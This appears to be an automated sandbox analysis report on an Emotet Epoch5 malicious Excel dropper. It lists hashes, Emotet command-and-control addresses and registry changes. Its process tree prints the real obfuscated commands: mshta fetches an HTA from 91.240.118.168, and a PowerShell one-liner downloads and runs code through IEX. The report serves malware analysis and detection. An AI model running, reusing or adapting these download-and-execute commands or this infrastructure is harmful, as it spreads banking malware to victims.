emotet | b28aff0f795ebee23511aa29eff25b0dd74f59002c5930bac2a5ab1a94f9ab5c

Analysis

max time kernel
121s
max time network
183s
platform
windows7_x64
resource
win7-en-20211208
submitted
28-01-2022 00:59

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General

Target

MES 92847.xls
Size

36KB
MD5

ab23d41b000237ca22d4f471e21f45e6
SHA1

7156618b51eb0b2b0cfc9904c44909a1d0f6ebfe
SHA256

b28aff0f795ebee23511aa29eff25b0dd74f59002c5930bac2a5ab1a94f9ab5c
SHA512

addc41a6d0930fcfee704cb8d8381cb6ecb17713989f176e7e26d33b87b37d98cc1e5e5236925c1951d508635fc340dc58e016f160a33a2f90fff68caece9ced

Score

10^/10

emotet epoch5 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/oo/aa/se.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/oo/aa/se.png

Extracted

Family

emotet

Botnet

Epoch5

159.69.43.124:8080

45.79.80.198:443

207.148.81.119:8080

128.199.192.135:8080

118.98.72.86:443

217.182.143.207:443

168.197.250.14:80

116.124.128.206:8080

78.46.73.125:443

185.148.168.15:8080

195.154.146.35:443

85.214.67.203:8080

194.9.172.107:8080

59.148.253.194:443

210.57.209.142:8080

54.38.242.185:443

195.77.239.39:8080

159.69.237.188:443

104.131.62.48:8080

62.171.178.147:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	432	1332	CMD.EXE	EXCEL.EXE

Blocklisted process makes network request 6 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

4 1480 mshta.exe
5 1456 powershell.exe
7 1456 powershell.exe
9 1456 powershell.exe
11 1552 rundll32.exe
13 1552 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 8 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1252 rundll32.exe
1252 rundll32.exe
1252 rundll32.exe
1252 rundll32.exe
1264 rundll32.exe
1264 rundll32.exe
1264 rundll32.exe
1264 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Suwyakxrag\exqtroqsovqs.mck rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	pid	process
4	1480	mshta.exe
5	1456	powershell.exe
7	1456	powershell.exe
9	1456	powershell.exe
11	1552	rundll32.exe
13	1552	rundll32.exe

pid	process
1252	rundll32.exe
1252	rundll32.exe
1252	rundll32.exe
1252	rundll32.exe
1264	rundll32.exe
1264	rundll32.exe
1264	rundll32.exe
1264	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Suwyakxrag\exqtroqsovqs.mck	rundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 32 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXEmshta.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE

Modifies registry class 64 IoCs

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\ = "&Print"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellEx	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\mhtmlfile	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1332 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exerundll32.exe

pid process

1456 powershell.exe
1552 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1456 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

1332 EXCEL.EXE
1332 EXCEL.EXE
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

1332 EXCEL.EXE
1332 EXCEL.EXE
1332 EXCEL.EXE

pid	process
1332	EXCEL.EXE

pid	process
1456	powershell.exe
1552	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	1456	powershell.exe

pid	process
1332	EXCEL.EXE
1332	EXCEL.EXE

pid	process
1332	EXCEL.EXE
1332	EXCEL.EXE
1332	EXCEL.EXE

Suspicious use of WriteProcessMemory 44 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 1332 wrote to memory of 432	1332	EXCEL.EXE	CMD.EXE
PID 1332 wrote to memory of 432	1332	EXCEL.EXE	CMD.EXE
PID 1332 wrote to memory of 432	1332	EXCEL.EXE	CMD.EXE
PID 1332 wrote to memory of 432	1332	EXCEL.EXE	CMD.EXE
PID 432 wrote to memory of 1480	432	CMD.EXE	mshta.exe
PID 432 wrote to memory of 1480	432	CMD.EXE	mshta.exe
PID 432 wrote to memory of 1480	432	CMD.EXE	mshta.exe
PID 432 wrote to memory of 1480	432	CMD.EXE	mshta.exe
PID 1480 wrote to memory of 1456	1480	mshta.exe	powershell.exe
PID 1480 wrote to memory of 1456	1480	mshta.exe	powershell.exe
PID 1480 wrote to memory of 1456	1480	mshta.exe	powershell.exe
PID 1480 wrote to memory of 1456	1480	mshta.exe	powershell.exe
PID 1456 wrote to memory of 1240	1456	powershell.exe	cmd.exe
PID 1456 wrote to memory of 1240	1456	powershell.exe	cmd.exe
PID 1456 wrote to memory of 1240	1456	powershell.exe	cmd.exe
PID 1456 wrote to memory of 1240	1456	powershell.exe	cmd.exe
PID 1240 wrote to memory of 1252	1240	cmd.exe	rundll32.exe
PID 1240 wrote to memory of 1252	1240	cmd.exe	rundll32.exe
PID 1240 wrote to memory of 1252	1240	cmd.exe	rundll32.exe
PID 1240 wrote to memory of 1252	1240	cmd.exe	rundll32.exe
PID 1240 wrote to memory of 1252	1240	cmd.exe	rundll32.exe
PID 1240 wrote to memory of 1252	1240	cmd.exe	rundll32.exe
PID 1240 wrote to memory of 1252	1240	cmd.exe	rundll32.exe
PID 1252 wrote to memory of 1264	1252	rundll32.exe	rundll32.exe
PID 1252 wrote to memory of 1264	1252	rundll32.exe	rundll32.exe
PID 1252 wrote to memory of 1264	1252	rundll32.exe	rundll32.exe
PID 1252 wrote to memory of 1264	1252	rundll32.exe	rundll32.exe
PID 1252 wrote to memory of 1264	1252	rundll32.exe	rundll32.exe
PID 1252 wrote to memory of 1264	1252	rundll32.exe	rundll32.exe
PID 1252 wrote to memory of 1264	1252	rundll32.exe	rundll32.exe
PID 1264 wrote to memory of 532	1264	rundll32.exe	rundll32.exe
PID 1264 wrote to memory of 532	1264	rundll32.exe	rundll32.exe
PID 1264 wrote to memory of 532	1264	rundll32.exe	rundll32.exe
PID 1264 wrote to memory of 532	1264	rundll32.exe	rundll32.exe
PID 1264 wrote to memory of 532	1264	rundll32.exe	rundll32.exe
PID 1264 wrote to memory of 532	1264	rundll32.exe	rundll32.exe
PID 1264 wrote to memory of 532	1264	rundll32.exe	rundll32.exe
PID 532 wrote to memory of 1552	532	rundll32.exe	rundll32.exe
PID 532 wrote to memory of 1552	532	rundll32.exe	rundll32.exe
PID 532 wrote to memory of 1552	532	rundll32.exe	rundll32.exe
PID 532 wrote to memory of 1552	532	rundll32.exe	rundll32.exe
PID 532 wrote to memory of 1552	532	rundll32.exe	rundll32.exe
PID 532 wrote to memory of 1552	532	rundll32.exe	rundll32.exe
PID 532 wrote to memory of 1552	532	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\MES 92847.xls"
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1332

C:\Windows\SysWOW64\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:432

C:\Windows\SysWOW64\mshta.exe
mshta http://91.240.118.168/oo/aa/se.html
3⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1480

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/oo/aa/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1456

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll AADD
5⤵
- Suspicious use of WriteProcessMemory
PID:1240

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll AADD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1252

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1264

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Suwyakxrag\exqtroqsovqs.mck",SdcvbKRdF
8⤵
- Suspicious use of WriteProcessMemory
PID:532

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Suwyakxrag\exqtroqsovqs.mck",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1552

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\QWER.dll
MD5
a7f82cec5d8bc6846b35958c0c3d1679

SHA1
d1bb27562426983883d0666f9651872fd42316b5

SHA256
cd863e3a79ab407e6aa7fa97cd9b64020311eeebd6e58c87286799d7134e1cdd

SHA512
31a1d34cd8ca9b1c2c03798adaecaa15ec778a0a557123c40f6b3f9bd6b29a059d20f54dd0a584d04d4d995cadfe98e27c44ec60851dfd76009df158ea79914e

Download Submit
\ProgramData\QWER.dll
MD5
a7f82cec5d8bc6846b35958c0c3d1679

SHA1
d1bb27562426983883d0666f9651872fd42316b5

SHA256
cd863e3a79ab407e6aa7fa97cd9b64020311eeebd6e58c87286799d7134e1cdd

SHA512
31a1d34cd8ca9b1c2c03798adaecaa15ec778a0a557123c40f6b3f9bd6b29a059d20f54dd0a584d04d4d995cadfe98e27c44ec60851dfd76009df158ea79914e

Download Submit
\ProgramData\QWER.dll
MD5
a7f82cec5d8bc6846b35958c0c3d1679

SHA1
d1bb27562426983883d0666f9651872fd42316b5

SHA256
cd863e3a79ab407e6aa7fa97cd9b64020311eeebd6e58c87286799d7134e1cdd

SHA512
31a1d34cd8ca9b1c2c03798adaecaa15ec778a0a557123c40f6b3f9bd6b29a059d20f54dd0a584d04d4d995cadfe98e27c44ec60851dfd76009df158ea79914e

Download Submit
\ProgramData\QWER.dll
MD5
a7f82cec5d8bc6846b35958c0c3d1679

SHA1
d1bb27562426983883d0666f9651872fd42316b5

SHA256
cd863e3a79ab407e6aa7fa97cd9b64020311eeebd6e58c87286799d7134e1cdd

SHA512
31a1d34cd8ca9b1c2c03798adaecaa15ec778a0a557123c40f6b3f9bd6b29a059d20f54dd0a584d04d4d995cadfe98e27c44ec60851dfd76009df158ea79914e

Download Submit
\ProgramData\QWER.dll
MD5
a7f82cec5d8bc6846b35958c0c3d1679

SHA1
d1bb27562426983883d0666f9651872fd42316b5

SHA256
cd863e3a79ab407e6aa7fa97cd9b64020311eeebd6e58c87286799d7134e1cdd

SHA512
31a1d34cd8ca9b1c2c03798adaecaa15ec778a0a557123c40f6b3f9bd6b29a059d20f54dd0a584d04d4d995cadfe98e27c44ec60851dfd76009df158ea79914e

Download Submit
\ProgramData\QWER.dll
MD5
a7f82cec5d8bc6846b35958c0c3d1679

SHA1
d1bb27562426983883d0666f9651872fd42316b5

SHA256
